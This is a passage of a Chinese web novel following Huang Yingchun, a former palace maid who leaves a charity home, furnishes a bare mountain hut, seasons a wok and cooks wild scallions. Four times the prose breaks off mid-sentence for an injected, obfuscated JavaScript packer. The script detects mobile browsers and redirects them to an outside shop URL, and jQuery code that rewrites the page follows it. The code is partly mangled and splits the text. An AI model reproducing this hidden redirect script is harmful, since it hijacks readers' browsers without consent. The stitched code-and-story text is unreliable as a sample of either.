黄迎春怎么肯,连忙推拒:“不用,石娘子你坐着吧,和孩子们说说话。我自己去厨房打就好了。” 黄迎春走到厨房,脚底却如同扎了根一般,再也走不动。 她瞪着厨房里的大水缸,不知道这件庞然大物要价多少,想必,光是运费,都是一个了不得的数目吧。 住在城里吃水都是要钱的,每日都有专门的担水人挑了水来卖,通常每家每户都会买,哪怕是家里有井的人家。城里的水也不知道是怎么回事,买来的水便甘甜,家中井里打上来的水就晦涩,味道又怪又苦,入不了喉,只能拿来浇地浣衣。慈善堂是没有水井的,不是官府没钱打,而是慈善堂里孩子多,又小,怕他们一不小心掉进去,所以索性在厨房里摆了一口大水缸,又在水行那里订了水,由专人每天送上门来,月初石娘子领了银钱之后再统一去结账。 黄迎春倒是不愁吃水的问题,她以后要住在山里,山中最不缺的便是山泉水。而且她还特意和宋大说过,她的房子一定要盖在一个离河近但不会被河水淹到的地方,方便她到时候灌溉菜地。 是的,虽然她的房子还没影,但是黄迎春已经想好她要在院子里种些什么菜了。 不幸的是,黄迎春又想到了一件十分棘手的事情——她怎么把水从河里取出来呢? 该花的钱终究还是省不了的。 就算山里有河,她吃水不用花钱,也得先买一个木桶和一个水瓢,否则以她从小习来的竹编手艺,到时候就真成了竹篮打水一场空了。 热气从木头锅盖的边沿冒出,发出豆豉炖煮之后独有的香气,黄迎春刚想去盛暖菜,看见灶膛里亮着火星的树枝,又是一怔。 除了水,她也没有火。 只要交电费和天然气费就能把食物变熟的日子对黄迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771641|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春来说已经很遥远了,她渐渐习惯打草砍柴把它们晒干又塞进灶膛里的生活,但自从进了宫,吃食由花房的小厨房统一掌管之后,黄迎春就再也没有自己生过火,不做饭的日子过得太久,黄迎春险些忘了火这个东西并不会自动从灶膛里冒出来。她也没有钻木取火的本事,更做不来茹毛饮血的事情,所以火石也是必不可少需要添置的。 安朝没有冰箱,永安城这地界又冬冷夏热,给食物防腐的方法就是使劲腌制。不是用豆豉,就是用蜂蜜。要么齁咸,要么齁甜。不管哪一种腌制方式,储物用的陶罐是绝对少不了的。想到罐子,黄迎春又想起,吃饭也需要碗。这又是一样要买的。 要买的东西越想越多,每一样都离不开钱,黄迎春越想越头疼,连汤也不想续了,草草洗干净碗筷,和石娘子打了声招呼后,她转身就回了房间,早早吹灭蜡烛躺到床上。 没想到睡了也不安生。 黄迎春做了一个梦,她梦见自己装钱的荷包忽然从她的怀中飞走,怎么抓也抓不住。 荷包上上下下地飘着,她的心也跟着七上八下的,眼睛盯着荷包,手不停地去抓,最后,她终于抓住荷包,落到手里的重量却轻飘飘得让人害怕。黄迎春急忙打开,一看,荷包里空无一物,一文钱都没有。天旋地转间,她跌倒在地。正想哭天喊地时,她发现自己不知不觉间来到一座农舍前。 农舍很新,但四周一片荒芜。 黄迎春从梦中醒来,只记着一件事。 刚砍下来的树枝没有经过晾晒是无法变成柴火的,所以,她难道守着一座遍地都是草木的荒山,还要花钱去买柴火吗? 第二天一早,黄迎春就急急忙忙赶到牙行,问宋大施工队出发了没有。 宋大得知黄迎春的顾虑后,让她放心:“盖房都要先看风水再划地方,除非主人家自己早早选定地方并收拾好,不然没有哪块地是不长草的。施工队昨日下午就已经出发了,他们都是有分寸的人,风评在这一带向来都很好,不用嘱咐也不会干那种偷鸡摸狗的事。为了您能早日住上新屋,我安排他们住在附近的宋家村,等到房子盖好那天他们才会回城。进城都是要看户帖的,他们出城的明目是盖房,回来却一人背了一大捆柴,这说不过去,城差也不会轻易放他们进来。所以您尽管放心,清地的草木他们都会给您留着,盖间屋子少说也要十来天,等您回到家,那些草木也差不多晒干了。多的不敢说,一两顿饭还是能烧的。” 黄迎春安心了,然后,她又在治病之余,紧锣密鼓地把时间投入在各条街市里。 只剩二十贯了,离开前还要向石娘子结清这些天住在慈善堂的费用,一天二十文,一个月下来就是六百文,黄迎春现在是恨不得一文钱掰成两半来花,结果杏林医馆的大夫还一直念叨着让她宽心。 想想大夫宽慰她的话,黄迎春就欲哭无泪。 船到桥头自然直吗? 不。 船到桥头,只会自然沉。 11. 春分 虽然压力重重,但黄迎春还是在为生活不停地努力着。 不只她,慈善堂里的小孩子们也有属于他们自己的烦恼。 这天,黄迎春从集市上回来,看见月娘一个人蹲在门后拿着一根小棍子捅着从地面冒出来的一棵野草,整个人闷闷不乐。 “月娘,怎么了?不开心?” 月娘蔫蔫地应了一声:“今天是春分。” 春分这一天,每家都会煮汤圆吃。煮好的汤圆,挑没有包心的,拿十多个或二三十个,用细细的竹棍或树枝叉了,立在自己家的田边地坎上,就可以防止鸟雀来破坏今年的庄稼。因此,春分这天吃的汤圆还有一个别名,叫“粘雀子嘴”。 希望用汤圆将麻雀的嘴粘住,这样麻雀们就不会再来吃地里的庄稼,这种想法只是农民们的美好愿望,不过大家正是靠着像这样的一个又一个仪式感获取力量,迸发出希翼和斗志,才有力气继续在这片土地上努力生存下去。 “石娘娘以前也会煮粘雀子嘴给我们吃,糯米价贵,汤圆黏性又大,吃多了不消化,所以我们每个人的碗里只会分到三颗汤圆。但是去年小叶子吃汤圆的时候噎到了,明明吃的时候石娘娘都小心嘱咐过,让大家慢慢吃,一颗汤圆要分成几口吃,不要心急,但是小叶子嘴馋,非要一口一个,结果没吞下去,黏在了喉咙里。要不是医馆就在旁边,小叶子就没命了。所以,石娘娘就说以后再也不煮粘雀子嘴了。” 月娘年纪不大,说话却很流利,条理也很清晰。 黄迎春怜爱地望着她:“既然你知道缘由,为什么还是不开心呢?是不是想吃汤圆了?这样吧,我给你买块梨膏糖吃,你在这里等我一会儿。” 月娘看了一眼散落在四处的同伴和桌椅摆放得十分整齐的膳堂,摇摇头。 “我不是想吃……我没有很想很想吃粘雀子嘴,只是石娘娘以前都会在春分这天把糯米粉和熟水准备好,让我们自己揉面、搓汤圆。大家把桌子都摆到一起,围着桌子站在一起,一边玩一边包,然后石娘娘再把包好的汤圆拿去煮……” 黄迎春听明白了。虽然慈善堂是官府救济机构,但分发下来的银钱并不宽裕。石娘子每个月都在精打细算,才勉强能让每个孩子都吃饱穿暖,但再多的,便不能了。永安城里寸土寸金,慈善堂地方不大,孩子们活动空间受限,石娘子又不敢把他们放出去玩,怕被拍花子的迷昏带走,春分包汤圆对慈善堂里的孩子们来说,是难得的娱乐活动。如今,这项娱乐活动也取消了,月娘难免会在春分这天触景伤情。 黄迎春默默离开,过了一会儿,提回来一篮子鸡蛋和一捆竹蔑。 她把孩子们叫到身边,一人一个把鸡蛋都分出去:“有句俗语叫‘春分到,蛋儿俏’,你们知道什么意思吗?” 月娘和她的小伙伴们你看看我,我看看你,都一脸茫然地摇摇头。 “这句话说的是在春分来临之际,有些地方的人都会和他们的玩伴玩一个叫‘竖蛋’的游戏。首先,要找一个刚被母鸡下出来四五天的新鲜鸡蛋,如果那个卖蛋的农人没骗我,那你们手里的蛋就都符合标准。” 孩子们看看手里的鸡蛋,不停地用手摸着,按捺不住满脸的喜悦:“然后呢?怎么玩?” “然后,我需要一张光滑的桌子。” 立刻有孩子喊道:“我知道哪张桌子没坑,我带你去。” 一群人乌泱乌泱地簇拥着黄迎春来到一张桌面瑕疵最少的桌子前,然后,大家屏气凝神,安静地看着黄迎春动作。 黄迎春两手一摊。 她把鸡蛋都发出去了,自己反倒一个都没有留下。 月娘主动把她的鸡蛋拿给黄迎春做示范,一大一小两个女娘四目相对,笑得十分开心。 在许多双眼睛的注视下,黄迎春拿起鸡蛋,选了更光滑匀称的那面头,把它立在桌上。神奇的一幕出现了。鸡蛋并没有倒下,而是直挺挺地竖在桌子上。 没想到第一次实验就成功了,黄迎春自己也很得意,她把鸡蛋还给月娘,笑道:“只要把鸡蛋竖在桌子上,就算成功。这就是春分的竖蛋游戏。” 搞清楚玩法后,大家都一窝蜂地涌到桌边,急不可耐地把自己的鸡蛋放到桌子上,有一次就竖起来的,有立了好几次还是不成功的,有坚决不放弃最终终于成功的,还有一不小心把鸡蛋壳磕裂了一条缝的……这间不到用饭时间总是十分安静的膳堂,一时之间充满了欢声笑语与快活的气息。 无论男女,孩子们在游戏一道上总是无师自通的。不一会儿,一个简简单单的竖蛋游戏就被他们搞出许多花样来。有比谁竖得久的单人赛,还有比哪一队竖得多的团体赛。孩子们的大呼小叫完全没有打扰到正在不断编织竹蔑的黄迎春,不过片刻功夫,一个随风旋转的风车就在黄迎春的手里诞生了。 一场酣畅淋漓的单人竖蛋比赛刚刚决出胜负,黄迎春走过去,把风车递给赢的那一方:“你真是太厉害了!你是怎么做到的?能不能教教他们?这是我付给你的学费。” “当……当然可以。”刚才还一脸天上地下我最厉害的小郎君面对黄迎春真诚的夸奖,顿时脸红得和慈善堂门前挂着的红灯笼一样。他既羞涩又惊喜,在身边同伴们的羡慕下,伸手接过人生中的第一笔“学费”,磕磕绊绊地答道。 “真好。” 黄迎春拿起竹蔑,接着做第二个风车。这回,她的身边多了许多小尾巴。不少人看了之后,觉得不太难,也跃跃欲试。小孩子的心思是很好辨认的,黄迎春把买来的竹蔑分给几个年纪稍大一点的孩子,放慢手里的步骤,让他们跟着自己一点点学习。 孩子们学得很认真,生怕浪费了一星半点的材料。 黄迎春看着他们,忽然想起今天她在路上遇到的那些拿着风筝的孩子。 今日她在集市上,不仅有看到卖春菜和送春牛的,还见到有大人在孩子的痴缠下买风筝。 春天来临,风和日丽,正是放风筝的好时节。虽然还有倒春寒需要防范,但被拘在家里熬了一冬的孩子们可不管那么多,眼见天气好了,纷纷拿着风筝出门放风。 慈善堂的孩子们不比其他孩子自由,每天望见的都是一样形状的天空,没什么新意。 她原本也想带一个风筝回来给孩子们玩,但慈善堂里地方小,施展空间不足,无法容纳孩子们放风筝,而且风筝就一个,也不好分,黄迎春不想引起纷争,就想出了一个做竹风车的主意。 现在看来,这主意还不赖,孩子们看起来都挺开心的,脸上的笑容一点儿都不比放风筝的那些孩子们少。 风车简单易得,一捆竹蔑也要不了几文钱,却能让许多孩子都收获一个转得飞快的玩具。这天,孩子们虽然没有吃上自己包的粘雀子嘴,但不少人玩上了自己做的竹风车,还喝上了用裂缝的鸡蛋做成的蛋花汤,每个人都很开心。 除了石娘子。 “鸡蛋一个要三文钱,你买这么多,得花多少哪!” “没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771642|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,孩子们开心就行。” 同孩子们快快乐乐地玩闹一场后,第二天一早,天刚蒙蒙亮,黄迎春就向石娘子提出退租。 她递给石娘子一串钱:“这是六百六十文,你点点。” “你这么快就要走了?”昨天去杏仁医馆送餐时,药童没给她拿新的药膳方子,石娘子就知道黄迎春的病可能要治好了,只是没想到,分离的这一天来得这么快。 黄迎春点点头:“房子建好了,我的病也大好了,也该走了,要不该误了农时了。” 这个时节正是农忙的时候,石娘子没办法拦,得知黄迎春的房子建在临安乡的某个山脚下后,又着急起来:“你好歹提前几天和我说,我给你做些路上吃的干粮啊。” “不用。”黄迎春推辞道,“我已经雇好车了,出了城门口,不远就是渡口,坐船快得很,听说两个时辰就能到镇上。到了镇上,就近了。” 石娘子一听黄迎春这又是坐车又要坐船的,更急了,转身就往厨房走:“新建的房子冷锅冷灶的,你要煮点饭还得先去挑水砍柴,不成不成,你晚一点再走,我给你烙几个饼。让车夫等一会儿,你放心,我手脚快得很。” 黄迎春等不及,她想趁早赶路,去镇上添置家什。 虽然永安城里待售的货物品种、功能和花样都更多,但黄迎春只要最基本的功能。在镇上买,一则价格比城里买更便宜;二是可以减免费用,如果在城里买,她把那么多东西运回荒山都不知道要添进去多少运费。 所以虽然赶着时间回山开荒,但黄迎春也要硬挤一两天时间在镇上停留,好把需要的东西一次性购置妥当。在永安城里时间虽多,但她的时间又换不来钱,索性荒废了。虽然不买,但黄迎春这些天治疗结束后都会花许多时间在街道上闲逛,对她即将购买的物品行情都有所了解,想来去了镇上也不会被商家蒙骗得太厉害。 只是,每每看见一些想来镇上的店铺不会采买、只有永安城里才有售卖的东西,黄迎春总是克制不住自己蠢蠢欲动的那颗心。 但是没关系,轻飘飘的荷包会帮黄迎春抵制诱惑。 黄迎春只能回味着西红柿炒鸡蛋的酸甜滋味,然后望着西红柿顶着一个番柿的名头在花市里摇曳生姿。 她甚至连价钱都不敢打听。 番,外来者。用脚趾头想也知道,上辈子超市里三四块钱一斤的西红柿在道路崎岖车马很慢的安朝会有多珍贵。 最后,黄迎春什么都没从永安城带走,她甚至还把她身上穿的和包袱里从宫中带出来的几身衣裳拿到当铺当了死当,换来两季四套家常穿的普通衣裳。 鼓鼓囊囊的包袱一下子瘪了下去,黄迎春穿上了随处可见的衣裳式样,再也没有人可以通过她身上的服饰认出她曾经的宫女身份。 黄迎春想和过去一刀两断,干干净净地踏入她的新生活。 她把一切都准备好了。 见黄迎春已经打定主意,石娘子也不好再劝,只能不舍地把黄迎春送出门。 朝夕相处了一个多月,黄迎春见石娘子脸色不好,自己的心里也不好受。 她故作轻松:“等我把山都开垦了,在空地上种些果树,过几年结了果子,我就来慈善堂找你们,把孩子们都带过去,帮我爬树摘果子。” 石娘子笑道:“你这样可亏,那群皮猴说不定连吃带拿,还不知道能给你剩下几个果。” “那我也乐意。” 两人其乐融融地道别。 12. 开锅 距离离开永安城已经三天的时间了,荷包里的钱也被黄迎春花的只剩下一贯。 在镇上一笔接一笔花出去的钱,变成了堂屋里的锄头和镰刀,厨房里的铁锅、菜刀、还有装着油、盐等各色调味品的罐子,灶台上的碗、灶台下的火石、灶台旁边的木盆,地窖里的粮食和种子,卧房墙角的一把夜壶和铺在卧房火炕上面的一条芦花被。 黄迎春提着一桶打得满满当当的河水走进厨房,水瓢随着她的走动不停撞到木桶内壁,发出“咣当咣当”的声响。 昨天回来得急,又赶了半天多的路,黄迎春累极了。 她一进门就连忙卸下身上的东西。 点清货物之后,又赶紧结了脚夫的费用,好让人早点回家。 之后,趁着还有点天光,她又连忙跟着此行的引路人——也是牙行特意在施工队离开前请来验收盖房工程的监工,去参观她的新房。 施工队前两日盖好房子之后就已经离开了,监工留在镇上等着和黄迎春交接。 当然,监工的劳务费也一早就包含在盖房的十贯里,黄迎春不用再额外出钱。 她对自家的三间房子也没有什么不满意的,因此,脚夫离开没多久,监工也被黄迎春好声好气地从自家门前送走。 然后,黄迎春把每扇门窗都合起来,接着就匆匆躺倒在炕上睡了过去,连放在堂屋的东西都来不及理。 原本只想歇息片刻就起来弄饭吃,没想到她一闭眼就直接睡到半夜,最后还是被冷醒的。 就着外面的月光勉强从一堆东西里翻出火石,击打了半天,好不容易才把炕烧起来,连口水都没的喝的黄迎春又忍着饥渴卷了被子躺到炕上再度睡去。 她实在是太累了。 这三天,她的手脚和口舌就没有停过。 也不知道睡了多久,起来,太阳未见踪影,但天边已经大亮,黄迎春连忙开了地窖,把能吃到今年秋天的粮食都搬到地窖里藏好,这才又沿着竹梯爬上来,从堂屋把她带回来的东西一一归置到每个房间,又拎着木桶打了水,准备把家里到处都打扫一遍。 虽然是新盖的屋子,但也免不了尘土,黄迎春觉得还是自己收拾一遍之后住了更安心。 只是没想到,她在镇上走得腿都快细了一圈才买来、又费尽千辛万苦最后还雇了个脚夫一起帮忙才从镇上全部扛回家来的东西,分门别类放好之后,看上去每个房间好像都没有几样,占据的空间少得让人心碎。 想扫地,没有扫帚。 想擦桌,没有抹布。 山上多的是扎扫帚的材料,黄迎春自己就会扎扫帚,所以就没有浪费这个钱。 至于抹布,寻常人家用的抹布都是弃之不用的旧衣裳,偏偏黄迎春的旧衣裳在还没出永安城的时候就拿到当铺去典了死当,连随身携带的手帕,也因为是宫中出来的布料,被黄迎春一视同仁,一起拿去卖钱了。如今,黄迎春翻遍全身上下,竟找不到一样可以充当抹布的布料。 黄迎春从堂屋走到厨房,又从厨房走到卧室,拔地而起的三间房屋空空荡荡,地上只有为了防潮而夯得极实的土,墙上除了几扇木窗,全是为了盖住竹编夹泥墙体的白灰,抬头一看,目之所及,不是竹蔑就是茅草,连块砖瓦也无,一看就是平民百姓中最基础的配置。结果,这样的家竟然找不出一块抹布,她身上穿的和包袱里装的全是成衣,黄迎春也不知道自己到底是穷还是富。 好在,很快,黄迎春发现自己其实也没必要一定要找块抹布出来了。 因为,无论堂屋厨房还是卧室,一张桌子都没有。 擦桌擦桌,好歹也得有张桌子才能擦啊! 不仅桌子,常见的长凳、箱柜、矮床、靠背椅、竹榻,家里也一件都没有。她昨天晚上睡的那张炕,别说既结实又便宜的高粱席了,上面甚至连张最易得的草席都没有,她一整晚都是卷着那张芦花被半垫半盖地睡觉的。 什么叫家徒四壁?这就叫家徒四壁啊! 黄迎春站在堂屋里,望着自己的家,油然而生一股安心感。 她看着家里唯一的一扇木门,上面空空如也。 她在镇上的时候,一直想给家里的门买个锁挂上,这样她离家外出的时候也能安心点。可惜单单一把铁锁,打铁铺就开价二百文,这还不算再置一把钥匙的钱。虽然手上还剩下一贯,买这两样足够了,但黄迎春最后还是没买——总得给自己留点家底应付意外支出。 如今,残留在心里的那点不安心也随风飘散了。 这么穷的家,贼来了说不定都得落下两滴泪。 反正也没东西可打扫,黄迎春就把昨天在镇上买了一刀肉拿出来,准备拾掇拾掇,给铁锅开个锅,也算安家的仪式感。 不管古代现代,大家对搬家这件事都十分重视,这点从搬家被称为“乔迁之喜”就能看出来。搬家前要请风水先生或者根据黄历挑一个吉日,还会选择白天中阳气旺盛的时辰进行主要仪式。仪式的流程也很复杂,首先要净宅,有钱人家会买檀香或沉香,从房子的内部开始点燃,尤其是床下和角落,要多熏一熏,最后再由屋主拿着香料从大门走出,意为驱邪清秽。平民百姓会买一点粗盐和大米混在一起,在屋内四处撒放,过一段时间再清扫干净,意为驱除不洁,也是一样的意思。之后,还有拜四角、烧五色衣纸等各种流程。 这些都是监工告诉黄迎春的,可惜,黄迎春心有余而力不足,什么也办不到。 别说檀香沉香这种名贵香料了,就连普通的粗盐和大米,黄迎春也舍不得往地上扔。 虽然她盖不起砖瓦房,但这几间竹木结构的茅草屋也是她辛辛苦苦为自己奔来的归宿。 能在安朝有一个属于自己的家,有一个能给自己遮风挡雨的去处,从此不再担惊受怕,黄迎春能过上这种生活,她自己是最高兴的那个人。 虽然昨天她又饿又渴,又累又困,但当监工把气喘吁吁的她领到这三间简陋的房屋面前时,黄迎春难以描绘她当时的心情,简直比走出宫门那一瞬还要高兴。 黄迎春想,她会永远记得昨天,这是她这辈子最高兴的一天。 黄迎春也想给自己的家留下一个好印象,无奈囊中羞涩。 所有的仪式里,她只能做到一大早起来就去河边打一桶寓意“风生水起、顺风顺水”的水提进家门。 这桶水,先是被黄迎春拿了几水瓢出来把铁锅从里到外冲了好几遍,她又用买丝瓜种子时软磨硬泡要来的丝瓜络用力擦洗,把新铸的锅底洗得干干净净,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771643|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她又把那刀从肉铺上买来的肥猪肉拿在水下反复冲洗,最后把木头锅盖反扣,把肉暂放到锅盖上。 黄迎春又去包袱里翻翻找找,找出一块麻布。 这本来是她买来预备做月事带的。 现代的卫生巾满大街随意找间超市就能买得到,安朝则不然,哪怕是专做女子衣裳的裁缝铺,也找不到一条月事带。 无论老少贫富,谁也别想在外头买到现成的月事带,都是自己裁了布料回家去做。 黄迎春在镇上和监工汇合时得知从镇上到她家的脚程要三个时辰时,她便想着日后出来一趟一定不易,也不知道什么时候会再来镇上,所以无论什么东西都是往多了买,估着自己能使到今年秋收后的份量一次性买齐,自然也包括她每个月都离不开的月事带。 所以,光是麻布她就买了十几条。虽然都是挑的瑕疵货,尺寸也不大,但胜在干净,没人用过,是去年仓库里堆积的陈货,今年的蚕市快开了,库房清仓,让黄迎春捡了个便宜。 黄迎春从她捡到的宝贝里拿出一条,用清水淘洗干净,然后把麻布拧到最干,拿着麻布把锅从里到外擦得干干净净,直到一滴水迹也没有附着在锅面上。 接着,黄迎春开始烧火。 宋大找的施工队如他所说,并不贪图那点柴火,还把晒干的枯枝和草木收拢在一起堆在厨房外。 昨天黄迎春废了大力气点火烧炕,今日就轻松了,火种埋在灶膛里,黄迎春拿了一根较长的树枝轻轻一挑,火星就从浅浅的草木灰烬里冒出来,在易燃的松针堆里噼啪作响,火苗越燃越旺,锅也越来越热。 此时,放在锅盖上的肥肉也差不多晾干了。 不过开锅是大事,黄迎春从前没做过,不敢掉以轻心,还是拿了一条新麻布把肉擦了一遍,直到肉身变得十分干燥,仿佛她昨天在肉摊上见到的模样,她才把肥肉放到烧热的锅里,将它均匀地涂过锅里的每一处,擦过一遍后,把锅洗干净,然后继续重复。 铁匠说过这个过程要重复两到三遍,然后把火灭掉,等到锅自然冷却之后就可以正常使用,开锅的环节也就全部结束了。但是黄迎春刚擦过第二遍,就发现她买的那块白中带红的肥猪肉变成了黑黢黢的样子。 黄迎春不知怎的,忽然觉得自己是地狱行刑的鬼差,面前的铁锅是十八层地狱中的火劫,而锅里的肉,不知道犯了什么天怒人怨的恶事,生前当猪也就罢了,死后还要遭受这种折磨。 可惜归可惜,并不妨碍黄迎春把猪肉外面那层焦黑的皮肉弄掉,然后打着没有冰箱不好存放所以今天就要把这块肉煮了吃掉的想法,望着这块花了她二十文的肥肉,思考起菜单。 再有善心的鬼,也经不起穷。要不怎么会有“有钱能使鬼推磨”这句话流传下来呢,想来鬼这存在,总是偏穷的。黄迎春这只穷鬼,刹那间就想好这块已经被用过一遭的肥肉的做法。 物尽其用,分为三步。 首先,榨油,榨成能放好久好久的猪油。 然后,炼猪油渣,把再也榨不出油的猪肉炼成闻起来好香好香的猪油渣。 最后,黄迎春尝了一口焦香干脆的猪油渣,捞起立在木桶旁边的鹤嘴锄就往外走。 香喷喷的野葱,我来啦! 13. 野葱炒猪油渣焖饭 野葱最好吃的季节,非春天莫属。 这时野葱刚发芽,一场春雨过后,深绿色的叶子便蹭蹭蹭地往上长,辛辣味不重不说,口感也鲜嫩。 掐上一把葱叶,再切几片腊肉,大火猛炒,那香气,别提多霸道。趁热夹上一筷子,再拨两勺干饭……那滋味,黄迎春光是想想,就口齿生津。 虽然她养不起猪,也没从镇上买来腊肉,但是猪油渣毕竟也是油水,采了野葱之后赶回家,把锅烧热,用猛火将热气一激,葱香混着猪油味,难道会比野葱炒腊肉逊色吗? 还没吃朝食的黄迎春越想越激动,忍不住加快了她的脚步。 野葱是很好找的,它们随处可见。 不管是在山坡里、草地上、田间地头还是路边,只要认真搜寻,都能发现它们的踪迹。 如果是自家菜园里种的葱,为了留根,往往都是掐一把便罢,剩下的还要留着慢慢长。 但是,野外生长的葱就不用这么小心翼翼。 本就是不值钱的玩意儿,长得满地都是,全拔了也是不心疼的。 黄迎春兴冲冲地沿着早上取水的路走。 她买的这座山因为十年前的那场地动,人人闻之色变。 以往还有村人来这里打草砍柴,但自从那些人的尸骨长埋在附近后,就再也没有人有胆子踏进这里了。 日积月累,路上都长满了杂草野树,一眼望去,到处都是一样的景色,草还是路,早已无人分得清。 黄迎春现在脚下踩的这条路线较为明朗的小路,还是施工队在这里盖房的时候踩出来的。 虽然宋大在最近的村里给施工队找了安置的地方,但干体力活的人流汗多,容易口渴,所以总有人见天的往河边跑。 渐渐地,便踩出了一条从黄迎春的家门口到河边的小道。 野葱喜欢长在河滩边上的杂草丛里,越是靠近水边的地方,野葱长得越粗壮。 黄迎春便沿着小路一直走,走到早上取水的地方,却犯了难。 施工队踩出的路,也就到此为止了。黄迎春茫然四顾,前后左右不是草就是树,仿佛被困在了迷宫里,唯一的出处就是沿着来路返回。 这怎么可以?! 心心念念着香喷喷的野葱炒猪油渣的黄迎春不愿意放弃,她寻了一棵最近的树,连踢带踹,又使上鹤嘴锄,终于砍下了一段一人多高的树枝,又削去枝叶,树枝就成了一根光秃秃的木棍。 不粗不重,拿着不费力。 不细不长,不容易折断。 就这样,黄迎春拥有了一根探路棍。 她每走一步,就用木棍先在前方戳一戳。看到比较高的草叶,就站在原地不动,拿起木棍在四周不停地敲打,一点点地打草惊蛇,终于,黄迎春成功为自己开拓出一条前路。 这座山十年没人光顾,疯长的不止草木,还有遍地的野菜。 也不是所有的地方都是半人高甚至一人高的茂密草丛,也有那崎岖些的山坡,只稀稀疏疏地长着几棵杂树,黄迎春找到这样一处地方,终于松了一口气。 总算能歇一会儿了。 她把鹤嘴锄丢到草地上。 已经买不起耕牛,万万不能缺锄头,否则这个冬天她就只能等着喝西北风。 临安乡所在的地界儿被众人笑称为鱼米之乡,鱼前米后,意思是这里的鱼儿比田里的稻米还要多。 水多,鱼才多,水田遍布的地方,自然种的都是水稻。春播夏长秋收,割稻也少不了镰刀。 对于农具,黄迎春只有三样预算。 锄头和镰刀都是必不可少的物件,最后一样,黄迎春在柴刀、斧头和锯子之间犹豫不决。 开门七件事,柴米油盐酱醋茶,柴排第一位,由此可见柴火对于生计的重要。 黄迎春需要一件趁手的砍柴利器,其实柴刀是最好的,人家的名字都带柴字,论专业对口,没有比得上的。 只是,虽然买了菜刀,但是家里连块砧板也没有,菜都不知道要在哪儿切。 黄迎春想在山上就地取材,砍块树墩搬回家中了事,这样一比,柴刀的威力自然要比斧头小。 但是斧头的力量虽大,也要她有力气去砍,对于她这种力气比较小的女人来说,锯子是不是会更省力气呢? 黄迎春拿不定主意。 就在这时,她看到了一把鹤嘴锄。 黄迎春对鹤嘴锄并不陌生,这是她在花草司里劳作的老家伙。 鹤嘴锄的用处大极了,平口可以拿来挖土锄草,尖嘴那侧,只要一落地,再硬的土都抵抗不了,只能乖乖四分五裂。 在慈善堂的一个多月不是白待的,黄迎春打了几回下手,渐渐也知道了一些草药的生长习性,所以这回在镇上采买,也买了一些药种,预备带回家播种。 鹤嘴锄这种小巧的农具,拿来干侍弄药材这种精细活儿是最好的。 而且,她现在是山户,要靠山吃山,山上多的是野菜,为了这个,黄迎春连粮食的预算都省了好多,挖野菜怎么能没有一把趁手的工具呢?鹤嘴锄既小巧方便携带,又不像锄头那样笨重,正适合她上山挖菜啊! 黄迎春思前想后,最后选了鹤嘴锄。 但是,此刻,她却有点后悔了。 早知道应该把镰刀一起带出来的。 鹤嘴锄只在看得见的地方有用,论收割野草,还是镰刀用起来利落,弯腰一搂一割,顷刻间她就能割倒一大片,哪里还用得着深一脚浅一脚地磨蹭到现在! 她还赶着开荒呢! 抱怨归抱怨,黄迎春的眼睛却始终没有停下扫描。 野葱的样子很好认,深绿色,叶子细长,每片叶子都像一根中空的管。 多年不挖野菜了,黄迎春虽然还认得野葱的模样,但耐不住春回大地,到处都是一片绿色,满地都是绿色的封口吸管,其中还不乏一些仿制品。 好在,虽然有的植物和野葱的样子有些相似,但只有野葱拔起来的时候会有一股浓郁的葱味。 黄迎春蹲下身,随手掐断一片叶子,把手放到鼻子下一闻,那股浓郁的独属于葱蒜的辛辣味立刻弥漫在鼻间。 找到了! 黄迎春立即拿起鹤嘴锄,一锄铲地,一手拔葱,拔了一大把,把泥土都抖落干净,又拿到河边把白色的葱头细细地洗干净,然后扯了细长的草叶,绕了几圈将野葱捆实了,这才起身原路返回。 在新家的第一顿饭,黄迎春吃的是野葱炒猪油渣焖饭。 在找野葱的时候,黄迎春发现了一片竹林,那里的竹子不用过河就可以直接取用。 黄迎春心动不已,原想顺路砍一根竹子带回来,削一节竹子倒点米进去做竹筒饭,偏偏没带镰刀。 最后,黄迎春只能一路后悔着来,又一路可惜着走。 不过,吃着油汪汪的米饭,那点后悔和可惜转瞬间就被唇齿留香的黄迎春抛到九霄云外了。 真香啊! 不愧是开过锅的铁锅煮出来的饭。 吃过了买来的米,黄迎春开始琢磨自己种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 